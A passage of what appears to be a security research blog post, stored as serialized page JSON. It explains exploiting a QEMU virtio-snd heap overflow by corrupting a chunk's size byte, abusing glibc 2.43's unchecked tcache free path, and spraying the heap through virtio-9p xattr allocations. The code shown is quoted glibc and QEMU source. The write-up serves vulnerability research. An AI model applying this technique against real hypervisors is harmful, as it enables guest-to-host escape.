",{"type":23,"tag":213,"props":127348,"children":127349},{"style":274},[127350],{"type":28,"value":3190},{"type":23,"tag":213,"props":127352,"children":127353},{"style":257},[127354],{"type":28,"value":126924},{"type":23,"tag":213,"props":127356,"children":127357},{"style":220},[127358],{"type":28,"value":126643},{"type":23,"tag":213,"props":127360,"children":127361},{"class":215,"line":1176},[127362],{"type":23,"tag":213,"props":127363,"children":127364},{"emptyLinePlaceholder":18},[127365],{"type":28,"value":530},{"type":23,"tag":213,"props":127367,"children":127368},{"class":215,"line":1202},[127369,127373,127377,127381,127385,127389],{"type":23,"tag":213,"props":127370,"children":127371},{"style":1362},[127372],{"type":28,"value":31450},{"type":23,"tag":213,"props":127374,"children":127375},{"style":220},[127376],{"type":28,"value":400},{"type":23,"tag":213,"props":127378,"children":127379},{"style":257},[127380],{"type":28,"value":127119},{"type":23,"tag":213,"props":127382,"children":127383},{"style":220},[127384],{"type":28,"value":400},{"type":23,"tag":213,"props":127386,"children":127387},{"style":257},[127388],{"type":28,"value":127053},{"type":23,"tag":213,"props":127390,"children":127391},{"style":220},[127392],{"type":28,"value":127393}," (p)))\n",{"type":23,"tag":213,"props":127395,"children":127396},{"class":215,"line":1758},[127397,127401,127406,127410,127414],{"type":23,"tag":213,"props":127398,"children":127399},{"style":1362},[127400],{"type":28,"value":17040},{"type":23,"tag":213,"props":127402,"children":127403},{"style":257},[127404],{"type":28,"value":127405}," malloc_printerr_tail",{"type":23,"tag":213,"props":127407,"children":127408},{"style":220},[127409],{"type":28,"value":400},{"type":23,"tag":213,"props":127411,"children":127412},{"style":246},[127413],{"type":28,"value":127083},{"type":23,"tag":213,"props":127415,"children":127416},{"style":220},[127417],{"type":28,"value":2867},{"type":23,"tag":213,"props":127419,"children":127420},{"class":215,"line":1767},[127421],{"type":23,"tag":213,"props":127422,"children":127423},{"emptyLinePlaceholder":18},[127424],{"type":28,"value":530},{"type":23,"tag":213,"props":127426,"children":127427},{"class":215,"line":1789},[127428,127433],{"type":23,"tag":213,"props":127429,"children":127430},{"style":1362},[127431],{"type":28,"value":127432},"#if",{"type":23,"tag":213,"props":127434,"children":127435},{"style":257},[127436],{"type":28,"value":127437}," USE_TCACHE\n",{"type":23,"tag":213,"props":127439,"children":127440},{"class":215,"line":1812},[127441,127445,127449,127454,127458,127462,127467,127471,127476],{"type":23,"tag":213,"props":127442,"children":127443},{"style":1362},[127444],{"type":28,"value":31450},{"type":23,"tag":213,"props":127446,"children":127447},{"style":220},[127448],{"type":28,"value":400},{"type":23,"tag":213,"props":127450,"children":127451},{"style":257},[127452],{"type":28,"value":127453},"__glibc_likely",{"type":23,"tag":213,"props":127455,"children":127456},{"style":220},[127457],{"type":28,"value":127124},{"type":23,"tag":213,"props":127459,"children":127460},{"style":274},[127461],{"type":28,"value":434},{"type":23,"tag":213,"props":127463,"children":127464},{"style":268},[127465],{"type":28,"value":127466}," mp_",{"type":23,"tag":213,"props":127468,"children":127469},{"style":220},[127470],{"type":28,"value":124},{"type":23,"tag":213,"props":127472,"children":127473},{"style":268},[127474],{"type":28,"value":127475},"tcache_max_bytes",{"type":23,"tag":213,"props":127477,"children":127478},{"style":220},[127479],{"type":28,"value":19766},{"type":23,"tag":213,"props":127481,"children":127482},{"class":215,"line":1838},[127483],{"type":23,"tag":213,"props":127484,"children":127485},{"style":220},[127486],{"type":28,"value":2725},{"type":23,"tag":213,"props":127488,"children":127489},{"class":215,"line":1851},[127490],{"type":23,"tag":213,"props":127491,"children":127492},{"style":220},[127493],{"type":28,"value":127494}," [...]\n",{"type":23,"tag":213,"props":127496,"children":127497},{"class":215,"line":1864},[127498],{"type":23,"tag":213,"props":127499,"children":127500},{"emptyLinePlaceholder":18},[127501],{"type":28,"value":530},{"type":23,"tag":213,"props":127503,"children":127504},{"class":215,"line":1890},[127505,127509,127514],{"type":23,"tag":213,"props":127506,"children":127507},{"style":1362},[127508],{"type":28,"value":39414},{"type":23,"tag":213,"props":127510,"children":127511},{"style":257},[127512],{"type":28,"value":127513}," tcache_put",{"type":23,"tag":213,"props":127515,"children":127516},{"style":220},[127517],{"type":28,"value":127518}," (p, tc_idx);\n",{"type":23,"tag":213,"props":127520,"children":127521},{"class":215,"line":1899},[127522],{"type":23,"tag":213,"props":127523,"children":127524},{"style":220},[127525],{"type":28,"value":2875},{"type":23,"tag":24,"props":127527,"children":127528},{},[127529,127531,127536],{"type":28,"value":127530},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":209,"props":127532,"children":127534},{"className":127533},[],[127535],{"type":28,"value":124313},{"type":28,"value":127537}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":127539,"children":127540},{},[127541,127543,127549,127550,127555],{"type":28,"value":127542},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":209,"props":127544,"children":127546},{"className":127545},[],[127547],{"type":28,"value":127548},"check_inuse_chunk",{"type":28,"value":400},{"type":23,"tag":209,"props":127551,"children":127553},{"className":127552},[],[127554],{"type":28,"value":124441},{"type":28,"value":24004},{"type":23,"tag":202,"props":127557,"children":127559},{"code":127558,"language":3244,"meta":7,"className":16566,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[127560],{"type":23,"tag":209,"props":127561,"children":127562},{"__ignoreMap":7},[127563,127570,127597,127604,127611,127618,127637,127644,127663,127670,127697,127720,127727,127753,127760,127771,127828],{"type":23,"tag":213,"props":127564,"children":127565},{"class":215,"line":216},[127566],{"type":23,"tag":213,"props":127567,"children":127568},{"style":230},[127569],{"type":28,"value":127264},{"type":23,"tag":213,"props":127571,"children":127572},{"class":215,"line":226},[127573,127577,127581,127585,127589,127593],{"type":23,"tag":213,"props":127574,"children":127575},{"style":257},[127576],{"type":28,"value":126530},{"type":23,"tag":213,"props":127578,"children":127579},{"style":220},[127580],{"type":28,"value":400},{"type":23,"tag":213,"props":127582,"children":127583},{"style":230},[127584],{"type":28,"value":51680},{"type":23,"tag":213,"props":127586,"children":127587},{"style":274},[127588],{"type":28,"value":282},{"type":23,"tag":213,"props":127590,"children":127591},{"style":268},[127592],{"type":28,"value":40720},{"type":23,"tag":213,"props":127594,"children":127595},{"style":220},[127596],{"type":28,"value":2183},{"type":23,"tag":213,"props":127598,"children":127599},{"class":215,"line":524},[127600],{"type":23,"tag":213,"props":127601,"children":127602},{"style":220},[127603],{"type":28,"value":10964},{"type":23,"tag":213,"props":127605,"children":127606},{"class":215,"line":533},[127607],{"type":23,"tag":213,"props":127608,"children":127609},{"style":220},[127610],{"type":28,"value":126573},{"type":23,"tag":213,"props":127612,"children":127613},{"class":215,"line":543},[127614],{"type":23,"tag":213,"props":127615,"children":127616},{"emptyLinePlaceholder":18},[127617],{"type":28,"value":530},{"type":23,"tag":213,"props":127619,"children":127620},{"class":215,"line":551},[127621,127625,127629,127633],{"type":23,"tag":213,"props":127622,"children":127623},{"style":220},[127624],{"type":28,"value":126588},{"type":23,"tag":213,"props":127626,"children":127627},{"style":274},[127628],{"type":28,"value":3190},{"type":23,"tag":213,"props":127630,"children":127631},{"style":257},[127632],{"type":28,"value":126597},{"type":23,"tag":213,"props":127634,"children":127635},{"style":220},[127636],{"type":28,"value":126602},{"type":23,"tag":213,"props":127638,"children":127639},{"class":215,"line":570},[127640],{"type":23,"tag":213,"props":127641,"children":127642},{"emptyLinePlaceholder":18},[127643],{"type":28,"value":530},{"type":23,"tag":213,"props":127645,"children":127646},{"class":215,"line":655},[127647,127651,127655,127659],{"type":23,"tag":213,"props":127648,"children":127649},{"style":220},[127650],{"type":28,"value":127346},{"type":23,"tag":213,"props":127652,"children":127653},{"style":274},[127654],{"type":28,"value":3190},{"type":23,"tag":213,"props":127656,"children":127657},{"style":257},[127658],{"type":28,"value":126924},{"type":23,"tag":213,"props":127660,"children":127661},{"style":220},[127662],{"type":28,"value":126643},{"type":23,"tag":213,"props":127664,"children":127665},{"class":215,"line":1176},[127666],{"type":23,"tag":213,"props":127667,"children":127668},{"emptyLinePlaceholder":18},[127669],{"type":28,"value":530},{"type":23,"tag":213,"props":127671,"children":127672},{"class":215,"line":1202},[127673,127677,127681,127685,127689,127693],{"type":23,"tag":213,"props":127674,"children":127675},{"style":1362},[127676],{"type":28,"value":31450},{"type":23,"tag":213,"props":127678,"children":127679},{"style":220},[127680],{"type":28,"value":400},{"type":23,"tag":213,"props":127682,"children":127683},{"style":257},[127684],{"type":28,"value":127119},{"type":23,"tag":213,"props":127686,"children":127687},{"style":220},[127688],{"type":28,"value":400},{"type":23,"tag":213,"props":127690,"children":127691},{"style":257},[127692],{"type":28,"value":127053},{"type":23,"tag":213,"props":127694,"children":127695},{"style":220},[127696],{"type":28,"value":127393},{"type":23,"tag":213,"props":127698,"children":127699},{"class":215,"line":1758},[127700,127704,127708,127712,127716],{"type":23,"tag":213,"props":127701,"children":127702},{"style":1362},[127703],{"type":28,"value":17040},{"type":23,"tag":213,"props":127705,"children":127706},{"style":257},[127707],{"type":28,"value":127405},{"type":23,"tag":213,"props":127709,"children":127710},{"style":220},[127711],{"type":28,"value":400},{"type":23,"tag":213,"props":127713,"children":127714},{"style":246},[127715],{"type":28,"value":127083},{"type":23,"tag":213,"props":127717,"children":127718},{"style":220},[127719],{"type":28,"value":2867},{"type":23,"tag":213,"props":127721,"children":127722},{"class":215,"line":1767},[127723],{"type":23,"tag":213,"props":127724,"children":127725},{"emptyLinePlaceholder":18},[127726],{"type":28,"value":530},{"type":23,"tag":213,"props":127728,"children":127729},{"class":215,"line":1789},[127730,127734,127738,127743,127748],{"type":23,"tag":213,"props":127731,"children":127732},{"style":257},[127733],{"type":28,"value":127186},{"type":23,"tag":213,"props":127735,"children":127736},{"style":220},[127737],{"type":28,"value":400},{"type":23,"tag":213,"props":127739,"children":127740},{"style":257},[127741],{"type":28,"value":127742},"arena_for_chunk",{"type":23,"tag":213,"props":127744,"children":127745},{"style":220},[127746],{"type":28,"value":127747}," (p), p);",{"type":23,"tag":213,"props":127749,"children":127750},{"style":537},[127751],{"type":28,"value":127752}," // [1]\n",{"type":23,"tag":213,"props":127754,"children":127755},{"class":215,"line":1812},[127756],{"type":23,"tag":213,"props":127757,"children":127758},{"emptyLinePlaceholder":18},[127759],{"type":28,"value":530},{"type":23,"tag":213,"props":127761,"children":127762},{"class":215,"line":1838},[127763,127767],{"type":23,"tag":213,"props":127764,"children":127765},{"style":1362},[127766],{"type":28,"value":127432},{"type":23,"tag":213,"props":127768,"children":127769},{"style":257},[127770],{"type":28,"value":127437},{"type":23,"tag":213,"props":127772,"children":127773},{"class":215,"line":1851},[127774,127778,127782,127786,127790,127794,127798,127802,127806,127810,127815,127819,127824],{"type":23,"tag":213,"props":127775,"children":127776},{"style":1362},[127777],{"type":28,"value":31450},{"type":23,"tag":213,"props":127779,"children":127780},{"style":220},[127781],{"type":28,"value":400},{"type":23,"tag":213,"props":127783,"children":127784},{"style":257},[127785],{"type":28,"value":127453},{"type":23,"tag":213,"props":127787,"children":127788},{"style":220},[127789],{"type":28,"value":127124},{"type":23,"tag":213,"props":127791,"children":127792},{"style":274},[127793],{"type":28,"value":434},{"type":23,"tag":213,"props":127795,"children":127796},{"style":268},[127797],{"type":28,"value":127466},{"type":23,"tag":213,"props":127799,"children":127800},{"style":220},[127801],{"type":28,"value":124},{"type":23,"tag":213,"props":127803,"children":127804},{"style":268},[127805],{"type":28,"value":127475},{"type":23,"tag":213,"props":127807,"children":127808},{"style":274},[127809],{"type":28,"value":14259},{"type":23,"tag":213,"props":127811,"children":127812},{"style":220},[127813],{"type":28,"value":127814}," tcache ",{"type":23,"tag":213,"props":127816,"children":127817},{"style":274},[127818],{"type":28,"value":15743},{"type":23,"tag":213,"props":127820,"children":127821},{"style":230},[127822],{"type":28,"value":127823}," NULL",{"type":23,"tag":213,"props":127825,"children":127826},{"style":220},[127827],{"type":28,"value":19766},{"type":23,"tag":213,"props":127829,"children":127830},{"class":215,"line":1864},[127831],{"type":23,"tag":213,"props":127832,"children":127833},{"style":220},[127834],{"type":28,"value":127206},{"type":23,"tag":24,"props":127836,"children":127837},{},[127838,127840,127845],{"type":28,"value":127839},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":209,"props":127841,"children":127843},{"className":127842},[],[127844],{"type":28,"value":124313},{"type":28,"value":127846},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":18845,"props":127848,"children":127849},{},[],{"type":23,"tag":24,"props":127851,"children":127852},{},[127853,127855,127860,127862,127868,127870,127875,127877,127883],{"type":28,"value":127854},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":209,"props":127856,"children":127858},{"className":127857},[],[127859],{"type":28,"value":124313},{"type":28,"value":127861}," field was initially ",{"type":23,"tag":209,"props":127863,"children":127865},{"className":127864},[],[127866],{"type":28,"value":127867},"0x200",{"type":28,"value":127869},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":209,"props":127871,"children":127873},{"className":127872},[],[127874],{"type":28,"value":126490},{"type":28,"value":127876},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":209,"props":127878,"children":127880},{"className":127879},[],[127881],{"type":28,"value":127882},"[0x210, 0x2f0]",{"type":28,"value":127884},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":127886,"children":127887},{},[127888],{"type":28,"value":127889},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":9693,"props":127891,"children":127893},{"id":127892},"heap-spraying",[127894],{"type":28,"value":127895},"Heap Spraying",{"type":23,"tag":24,"props":127897,"children":127898},{},[127899,127901,127906],{"type":28,"value":127900},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":209,"props":127902,"children":127904},{"className":127903},[],[127905],{"type":28,"value":127867},{"type":28,"value":127907},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":127909,"children":127910},{},[127911,127913,127918],{"type":28,"value":127912},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":209,"props":127914,"children":127916},{"className":127915},[],[127917],{"type":28,"value":124508},{"type":28,"value":127919}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":127921,"children":127922},{},[127923],{"type":28,"value":127924},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":18945,"props":127926,"children":127928},{"id":127927},"virtio-9p",[127929],{"type":28,"value":127927},{"type":23,"tag":24,"props":127931,"children":127932},{},[127933,127938],{"type":23,"tag":209,"props":127934,"children":127936},{"className":127935},[],[127937],{"type":28,"value":127927},{"type":28,"value":127939}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":127941,"children":127942},{},[127943,127945,127951,127953,127959,127960,127966,127968,127973],{"type":28,"value":127944},"Through a ",{"type":23,"tag":209,"props":127946,"children":127948},{"className":127947},[],[127949],{"type":28,"value":127950},"P9_TXATTRCREATE",{"type":28,"value":127952}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":209,"props":127954,"children":127956},{"className":127955},[],[127957],{"type":28,"value":127958},".name",{"type":28,"value":1466},{"type":23,"tag":209,"props":127961,"children":127963},{"className":127962},[],[127964],{"type":28,"value":127965},".value",{"type":28,"value":127967}," fields, with the size of ",{"type":23,"tag":209,"props":127969,"children":127971},{"className":127970},[],[127972],{"type":28,"value":127965},{"type":28,"value":127974}," being directly controlled by the guest.",{"type":23,"tag":202,"props":127976,"children":127978},{"code":127977,"language":3244,"meta":7,"className":16566,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127979],{"type":23,"tag":209,"props":127980,"children":127981},{"__ignoreMap":7},[127982,128024,128031,128055,128068,128079,128104,128112,128137,128154,128170,128196,128203,128224,128290,128314,128327,128334,128341,128348,128355,128375,128396,128407,128414,128421,128428,128435,128484,128540,128585],{"type":23,"tag":213,"props":127983,"children":127984},{"class":215,"line":216},[127985,127989,127993,127998,128003,128007,128011,128015,128020],{"type":23,"tag":213,"props":127986,"children":127987},{"style":230},[127988],{"type":28,"value":51097},{"type":23,"tag":213,"props":127990,"children":127991},{"style":230},[127992],{"type":28,"value":51102},{"type":23,"tag":213,"props":127994,"children":127995},{"style":220},[127996],{"type":28,"value":127997}," coroutine_fn ",{"type":23,"tag":213,"props":127999,"children":128000},{"style":257},[128001],{"type":28,"value":128002},"v9fs_xattrcreate",{"type":23,"tag":213,"props":128004,"children":128005},{"style":220},[128006],{"type":28,"value":265},{"type":23,"tag":213,"props":128008,"children":128009},{"style":230},[128010],{"type":28,"value":51680},{"type":23,"tag":213,"props":128012,"children":128013},{"style":274},[128014],{"type":28,"value":282},{"type":23,"tag":213,"props":128016,"children":128017},{"style":268},[128018],{"type":28,"value":128019},"opaque",{"type":23,"tag":213,"props":128021,"children":128022},{"style":220},[128023],{"type":28,"value":2183},{"type":23,"tag":213,"props":128025,"children":128026},{"class":215,"line":226},[128027],{"type":23,"tag":213,"props":128028,"children":128029},{"style":220},[128030],{"type":28,"value":10964},{"type":23,"tag":213,"props":128032,"children":128033},{"class":215,"line":524},[128034,128038,128043,128047,128051],{"type":23,"tag":213,"props":128035,"children":128036},{"style":230},[128037],{"type":28,"value":19130},{"type":23,"tag":213,"props":128039,"children":128040},{"style":220},[128041],{"type":28,"value":128042}," flags, rflags ",{"type":23,"tag":213,"props":128044,"children":128045},{"style":274},[128046],{"type":28,"value":3190},{"type":23,"tag":213,"props":128048,"children":128049},{"style":514},[128050],{"type":28,"value":517},{"type":23,"tag":213,"props":128052,"children":128053},{"style":220},[128054],{"type":28,"value":313},{"type":23,"tag":213,"props":128056,"children":128057},{"class":215,"line":533},[128058,128063],{"type":23,"tag":213,"props":128059,"children":128060},{"style":230},[128061],{"type":28,"value":128062}," int32_t",{"type":23,"tag":213,"props":128064,"children":128065},{"style":220},[128066],{"type":28,"value":128067}," fid;\n",{"type":23,"tag":213,"props":128069,"children":128070},{"class":215,"line":543},[128071,128075],{"type":23,"tag":213,"props":128072,"children":128073},{"style":230},[128074],{"type":28,"value":55665},{"type":23,"tag":213,"props":128076,"children":128077},{"style":220},[128078],{"type":28,"value":124655},{"type":23,"tag":213,"props":128080,"children":128081},{"class":215,"line":551},[128082,128087,128092,128096,128100],{"type":23,"tag":213,"props":128083,"children":128084},{"style":230},[128085],{"type":28,"value":128086}," ssize_t",{"type":23,"tag":213,"props":128088,"children":128089},{"style":220},[128090],{"type":28,"value":128091}," err ",{"type":23,"tag":213,"props":128093,"children":128094},{"style":274},[128095],{"type":28,"value":3190},{"type":23,"tag":213,"props":128097,"children":128098},{"style":514},[128099],{"type":28,"value":517},{"type":23,"tag":213,"props":128101,"children":128102},{"style":220},[128103],{"type":28,"value":313},{"type":23,"tag":213,"props":128105,"children":128106},{"class":215,"line":570},[128107],{"type":23,"tag":213,"props":128108,"children":128109},{"style":220},[128110],{"type":28,"value":128111}," V9fsString name;\n",{"type":23,"tag":213,"props":128113,"children":128114},{"class":215,"line":655},[128115,128119,128124,128128,128133],{"type":23,"tag":213,"props":128116,"children":128117},{"style":230},[128118],{"type":28,"value":16616},{"type":23,"tag":213,"props":128120,"children":128121},{"style":220},[128122],{"type":28,"value":128123}," offset ",{"type":23,"tag":213,"props":128125,"children":128126},{"style":274},[128127],{"type":28,"value":3190},{"type":23,"tag":213,"props":128129,"children":128130},{"style":514},[128131],{"type":28,"value":128132}," 7",{"type":23,"tag":213,"props":128134,"children":128135},{"style":220},[128136],{"type":28,"value":313},{"type":23,"tag":213,"props":128138,"children":128139},{"class":215,"line":1176},[128140,128145,128149],{"type":23,"tag":213,"props":128141,"children":128142},{"style":220},[128143],{"type":28,"value":128144}," V9fsFidState ",{"type":23,"tag":213,"props":128146,"children":128147},{"style":274},[128148],{"type":28,"value":1696},{"type":23,"tag":213,"props":128150,"children":128151},{"style":220},[128152],{"type":28,"value":128153},"file_fidp;\n",{"type":23,"tag":213,"props":128155,"children":128156},{"class":215,"line":1202},[128157,128161,128165],{"type":23,"tag":213,"props":128158,"children":128159},{"style":220},[128160],{"type":28,"value":128144},{"type":23,"tag":213,"props":128162,"children":128163},{"style":274},[128164],{"type":28,"value":1696},{"type":23,"tag":213,"props":128166,"children":128167},{"style":220},[128168],{"type":28,"value":128169},"xattr_fidp;\n",{"type":23,"tag":213,"props":128171,"children":128172},{"class":215,"line":1758},[128173,128178,128182,128187,128191],{"type":23,"tag":213,"props":128174,"children":128175},{"style":220},[128176],{"type":28,"value":128177}," V9fsPDU ",{"type":23,"tag":213,"props":128179,"children":128180},{"style":274},[128181],{"type":28,"value":1696},{"type":23,"tag":213,"props":128183,"children":128184},{"style":220},[128185],{"type":28,"value":128186},"pdu ",{"type":23,"tag":213,"props":128188,"children":128189},{"style":274},[128190],{"type":28,"value":3190},{"type":23,"tag":213,"props":128192,"children":128193},{"style":220},[128194],{"type":28,"value":128195}," opaque;\n",{"type":23,"tag":213,"props":128197,"children":128198},{"class":215,"line":1767},[128199],{"type":23,"tag":213,"props":128200,"children":128201},{"emptyLinePlaceholder":18},[128202],{"type":28,"value":530},{"type":23,"tag":213,"props":128204,"children":128205},{"class":215,"line":1789},[128206,128211,128215,128219],{"type":23,"tag":213,"props":128207,"children":128208},{"style":257},[128209],{"type":28,"value":128210}," v9fs_string_init",{"type":23,"tag":213,"props":128212,"children":128213},{"style":220},[128214],{"type":28,"value":265},{"type":23,"tag":213,"props":128216,"children":128217},{"style":274},[128218],{"type":28,"value":405},{"type":23,"tag":213,"props":128220,"children":128221},{"style":220},[128222],{"type":28,"value":128223},"name);\n",{"type":23,"tag":213,"props":128225,"children":128226},{"class":215,"line":1812},[128227,128232,128236,128241,128246,128251,128255,128259,128264,128268,128273,128277,128281,128285],{"type":23,"tag":213,"props":128228,"children":128229},{"style":220},[128230],{"type":28,"value":128231}," err ",{"type":23,"tag":213,"props":128233,"children":128234},{"style":274},[128235],{"type":28,"value":3190},{"type":23,"tag":213,"props":128237,"children":128238},{"style":257},[128239],{"type":28,"value":128240}," pdu_unmarshal",{"type":23,"tag":213,"props":128242,"children":128243},{"style":220},[128244],{"type":28,"value":128245},"(pdu, offset, ",{"type":23,"tag":213,"props":128247,"children":128248},{"style":246},[128249],{"type":28,"value":128250},"\"dsqd\"",{"type":23,"tag":213,"props":128252,"children":128253},{"style":220},[128254],{"type":28,"value":424},{"type":23,"tag":213,"props":128256,"children":128257},{"style":274},[128258],{"type":28,"value":405},{"type":23,"tag":213,"props":128260,"children":128261},{"style":220},[128262],{"type":28,"value":128263},"fid, ",{"type":23,"tag":213,"props":128265,"children":128266},{"style":274},[128267],{"type":28,"value":405},{"type":23,"tag":213,"props":128269,"children":128270},{"style":220},[128271],{"type":28,"value":128272},"name, ",{"type":23,"tag":213,"props":128274,"children":128275},{"style":274},[128276],{"type":28,"value":405},{"type":23,"tag":213,"props":128278,"children":128279},{"style":220},[128280],{"type":28,"value":127023},{"type":23,"tag":213,"props":128282,"children":128283},{"style":274},[128284],{"type":28,"value":405},{"type":23,"tag":213,"props":128286,"children":128287},{"style":220},[128288],{"type":28,"value":128289},"flags);\n",{"type":23,"tag":213,"props":128291,"children":128292},{"class":215,"line":1838},[128293,128297,128302,128306,128310],{"type":23,"tag":213,"props":128294,"children":128295},{"style":1362},[128296],{"type":28,"value":2653},{"type":23,"tag":213,"props":128298,"children":128299},{"style":220},[128300],{"type":28,"value":128301}," (err ",{"type":23,"tag":213,"props":128303,"children":128304},{"style":274},[128305],{"type":28,"value":434},{"type":23,"tag":213,"props":128307,"children":128308},{"style":514},[128309],{"type":28,"value":517},{"type":23,"tag":213,"props":128311,"children":128312},{"style":220},[128313],{"type":28,"value":14870},{"type":23,"tag":213,"props":128315,"children":128316},{"class":215,"line":1851},[128317,128322],{"type":23,"tag":213,"props":128318,"children":128319},{"style":1362},[128320],{"type":28,"value":128321}," goto",{"type":23,"tag":213,"props":128323,"children":128324},{"style":220},[128325],{"type":28,"value":128326}," out_nofid;\n",{"type":23,"tag":213,"props":128328,"children":128329},{"class":215,"line":1864},[128330],{"type":23,"tag":213,"props":128331,"children":128332},{"style":220},[128333],{"type":28,"value":2875},{"type":23,"tag":213,"props":128335,"children":128336},{"class":215,"line":1890},[128337],{"type":23,"tag":213,"props":128338,"children":128339},{"emptyLinePlaceholder":18},[128340],{"type":28,"value":530},{"type":23,"tag":213,"props":128342,"children":128343},{"class":215,"line":1899},[128344],{"type":23,"tag":213,"props":128345,"children":128346},{"style":220},[128347],{"type":28,"value":104854},{"type":23,"tag":213,"props":128349,"children":128350},{"class":215,"line":1912},[128351],{"type":23,"tag":213,"props":128352,"children":128353},{"emptyLinePlaceholder":18},[128354],{"type":28,"value":530},{"type":23,"tag":213,"props":128356,"children":128357},{"class":215,"line":1921},[128358,128362,128366,128370],{"type":23,"tag":213,"props":128359,"children":128360},{"style":1362},[128361],{"type":28,"value":2653},{"type":23,"tag":213,"props":128363,"children":128364},{"style":220},[128365],{"type":28,"value":127124},{"type":23,"tag":213,"props":128367,"children":128368},{"style":274},[128369],{"type":28,"value":10545},{"type":23,"tag":213,"props":128371,"children":128372},{"style":220},[128373],{"type":28,"value":128374}," P9_XATTR_SIZE_MAX) {\n",{"type":23,"tag":213,"props":128376,"children":128377},{"class":215,"line":3879},[128378,128383,128387,128391],{"type":23,"tag":213,"props":128379,"children":128380},{"style":220},[128381],{"type":28,"value":128382}," err ",{"type":23,"tag":213,"props":128384,"children":128385},{"style":274},[128386],{"type":28,"value":3190},{"type":23,"tag":213,"props":128388,"children":128389},{"style":274},[128390],{"type":28,"value":51308},{"type":23,"tag":213,"props":128392,"children":128393},{"style":220},[128394],{"type":28,"value":128395},"E2BIG;\n",{"type":23,"tag":213,"props":128397,"children":128398},{"class":215,"line":3887},[128399,128403],{"type":23,"tag":213,"props":128400,"children":128401},{"style":1362},[128402],{"type":28,"value":128321},{"type":23,"tag":213,"props":128404,"children":128405},{"style":220},[128406],{"type":28,"value":128326},{"type":23,"tag":213,"props":128408,"children":128409},{"class":215,"line":3918},[128410],{"type":23,"tag":213,"props":128411,"children":128412},{"style":220},[128413],{"type":28,"value":2875},{"type":23,"tag":213,"props":128415,"children":128416},{"class":215,"line":3926},[128417],{"type":23,"tag":213,"props":128418,"children":128419},{"emptyLinePlaceholder":18},[128420],{"type":28,"value":530},{"type":23,"tag":213,"props":128422,"children":128423},{"class":215,"line":3986},[128424],{"type":23,"tag":213,"props":128425,"children":128426},{"style":220},[128427],{"type":28,"value":104854},{"type":23,"tag":213,"props":128429,"children":128430},{"class":215,"line":9132},[128431],{"type":23,"tag":213,"props":128432,"children":128433},{"emptyLinePlaceholder":18},[128434],{"type":28,"value":530},{"type":23,"tag":213,"props":128436,"children":128437},{"class":215,"line":9150},[128438,128442,128446,128450,128455,128459,128463,128467,128472,128476,128480],{"type":23,"tag":213,"props":128439,"children":128440},{"style":257},[128441],{"type":28,"value":128210},{"type":23,"tag":213,"props":128443,"children":128444},{"style":220},[128445],{"type":28,"value":265},{"type":23,"tag":213,"props":128447,"children":128448},{"style":274},[128449],{"type":28,"value":405},{"type":23,"tag":213,"props":128451,"children":128452},{"style":268},[128453],{"type":28,"value":128454},"xattr_fidp",{"type":23,"tag":213,"props":128456,"children":128457},{"style":220},[128458],{"type":28,"value":303},{"type":23,"tag":213,"props":128460,"children":128461},{"style":268},[128462],{"type":28,"value":37040},{"type":23,"tag":213,"props":128464,"children":128465},{"style":220},[128466],{"type":28,"value":124},{"type":23,"tag":213,"props":128468,"children":128469},{"style":268},[128470],{"type":28,"value":128471},"xattr",{"type":23,"tag":213,"props":128473,"children":128474},{"style":220},[128475],{"type":28,"value":124},{"type":23,"tag":213,"props":128477,"children":128478},{"style":268},[128479],{"type":28,"value":48550},{"type":23,"tag":213,"props":128481,"children":128482},{"style":220},[128483],{"type":28,"value":2867},{"type":23,"tag":213,"props":128485,"children":128486},{"class":215,"line":9195},[128487,128492,128496,128500,128504,128508,128512,128516,128520,128524,128528,128532,128536],{"type":23,"tag":213,"props":128488,"children":128489},{"style":257},[128490],{"type":28,"value":128491}," 